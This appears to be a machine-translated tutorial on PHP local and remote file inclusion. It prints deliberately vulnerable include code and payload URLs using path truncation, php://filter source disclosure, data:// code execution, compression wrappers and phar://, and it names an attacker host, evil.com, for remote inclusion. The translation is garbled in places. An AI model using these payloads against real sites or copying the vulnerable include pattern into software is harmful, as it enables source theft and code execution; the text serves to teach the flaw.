PHP - A File Inclusion Vulnerability

• File contains divided into the local and remote file inclusion
• A remote file inclusion vulnerability: you can directly execute arbitrary code In the warehouse and you need to ensure the php.ini file in allow_url_fopen and allow_url_include are On

• Arbitrary code execution
• Data for the source code of the OSS Java or sensitive information

<?php
if( isset($_GET['x']))
{
    include $_GET['x'];
}
?>

<?php phpinfo(); ?>

• When attacking: http://example.com/1.php? x=/etc/passwd

<?php
if(isset($_GET['x']))
{
    include $_GET['x'] . '.html';
}
?>

• PHP version is less than 5.3.4
• magic_quotes_gpc is off

<?php phpinfo(); ?>

• Attacker domain name: http://evil.com
• Attacker file: 1.txt

<?php phpinfo(); ?>

• PHP version is less than 5.3.10

• .
• /.
• ./

• Windows 259 bytes
• Linux 4096 bytes

<?php phpinfo(); ?>

• Local file contains attack: http://example.com/2.php?x=1.jpg....................................................
• Local file contains the attack: http://example.com/2.php?x=1.jpg././././././././././././././ ././././././././././././
• Local file contains the attack: http://example.com/2.php?x=1.jpg/./././././././././././././. /./././././././././././././././././

<?php
if(isset($_GET['x']))
{
    include $_GET['x'];
}
?>

PHP.ini:
The file:// protocol can also be used normally in the case of double off;

• allow_url_fopen: off/on
• allow_url_include: off/on

• file:// is used to access local files
• file:// [absolute path and file name of the file]

php://filter can also be used normally in the case of double off;
condition:
No need to enable allow_url_fopen
Only php://input, php://stdin, php://memory and php://temp need to enable allow_url_include.

• php://filter is used to read the source code
• php://input is used to execute PHP code

• resource=<data stream to be filtered> #This parameter is required. It specifies the data stream you want to filter.
• read=<filter list of reading chain> #This parameter is optional. One or more filter names can be set, separated by a pipe character (|).
• write=<filter list of write chain> #This parameter is optional. One or more filter names can be set, separated by a pipe character (|).
• <; Filter list of two chains> #Any filter list that is not prefixed with read= or write= will be applied to the read or write chain as appropriate.

http://example.com/1.php?x=php://filter/read=convert.base64-encode/resource=upload.php

• The filter read here is convert.base64-encode, which is the same as the literal meaning, base64-encode the input stream.
  resource=upload.php, which means to read the content of upload.php

string.rot13
Perform rot13 conversion
string.toupper
Capitalize all characters
string.tolower
All lowercase characters
string.strip_tags
The result after removing empty characters, HTML and PHP tags.
The function is similar to the strip_tags() function. If you don't want some characters to be eliminated, you can use a string or an array in two ways.

<?php
    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.rot13');
    echo "rot13:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.toupper');
    echo "Upper:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.tolower');
    echo "Lower:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    echo "Del1:";
    stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE);
    fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    echo "Del2:";
    stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE, "<b>");
    fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE, array('b','h1'));
    echo "Del3:";
    fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n");
    fclose($fp);
?>

• Base64.decode(input, output) − It decodes the input value parameter specified and stores the decoded output as an object.
• Base64.encode(input, output) − It encodes the input value parameter specified and stores the decoded output as an object.

<?php
    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.base64-encode');
    echo "base64-encode:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $param = array('line-length' => 8,'line-break-chars' => "\n");
    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.base64-encode', STREAM_FILTER_WRITE, $param);
    echo "\nbase64-encode-split:\n";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.base64-decode');
    echo "\nbase64-decode:";
    fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.quoted-printable-encode');
    echo "quoted-printable-encode:";
    fwrite($fp, "This is a test.\n");
    fclose($fp);
    echo "<br>";

    $fp = fopen('php://output','w');
    stream_filter_append($fp,'convert.quoted-printable-decode');
    echo "\nquoted-printable-decode:";
    fwrite($fp, "This is a test.=0A");
    fclose($fp);
    echo "<br>";

?>

<?php
$params = array('level' => 6,'window' => 15,'memory' => 9);
$original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n";
echo "The original text is ". strlen($original_text)." characters long.\n";
$fp = fopen('test.deflated','w');
stream_filter_append($fp,'zlib.deflate', STREAM_FILTER_WRITE, $params);
fwrite($fp, $original_text);
fclose($fp);
echo "The compressed file is ". filesize('test.deflated')." bytes long.\n";
echo "The original text was:\n";
/* Use readfile and zlib.inflate to decompress on the fly */
readfile('php://filter/zlib.inflate/resource=test.deflated');

/* Generates output:
The original text is 70 characters long.
The compressed file is 56 bytes long.
The original text was:
This is a test.
This is only a test.
This is not an important string.
 */
?>

• http://example.com/1.php?x=php://filter/read=convert.base64-encode/resource=1.php

• php://input is a read-only stream that can access the original data of the request. You can read the original data that is not parsed by the post, and execute the data in the post request as PHP code.
• Because it does not depend on specific php.ini directives.
• Note: php://input is invalid when enctype="multipart/form-data".

• allow_url_fopen ：off/on # can be opened or closed
• allow_url_include: on # must be turned on

<?php  
$code=$_GET["a"];  
file_put_contents($code,"test");   
?> 

• data: resource type; coding, content
• Datastream wrapper
• When allow_url_include is turned on, any file inclusion will become any command execution

PHP.ini:
The data:// protocol must be on in order to be used normally;

allow_url_fopen: on
allow_url_include: on

php version is greater than or equal to php5.2# Test code
# File name: xxx.php

<?php
$filename=$_GET["a"];
include("$filename");
?>How to use

http://127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

or
http://127.0.0.1/xxx.php?a=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

PHP.ini:
The zip://, bzip2://, zlib:// protocols can also be used normally in the case of double off;

• allow_url_fopen: off/on
• allow_url_include: off/on

• The three encapsulation protocols all open compressed files directly.
• compress.zlib://file.gz-handles compressed packages with the suffix'.gz'
• compress.bzip2://file.bz2-the compressed package with the suffix of'.bz2' is processed
  
  
  
• zip://archive.zip#dir/file.txt-Process files in the compressed package with the suffix of'.zip'

• zip://archive.zip#dir/file.txt
• zip:// [absolute path of compressed file]#[sub-file name in compressed file]**
• Use absolute path + URL encoding#

• compress.bzip2://file.bz2
• A relative path is also ok

• Use 7-zip to generate a bz2 compressed file.
• payload: http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/cyberdevil/Desktop/test.bz2 Or change the file to jpg suffix
• http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/cyberdevil/Desktop/test.jpg

• compress.zlib://file.gz
• A relative path is also ok

# 1.jpg code

<?php phpinfo(); ?>

# For example, this limits us to only .html files
# File name: 2.php

<?php
if(isset($_GET['x']))
{
    include $_GET['x'].'.html';
}
?>

• Attack payload-1: http://example.com/2.php?x=phar://111.jpg%2F1
• Attack payload-2: http://example.com/2.php?x=phar://111.zip%2F1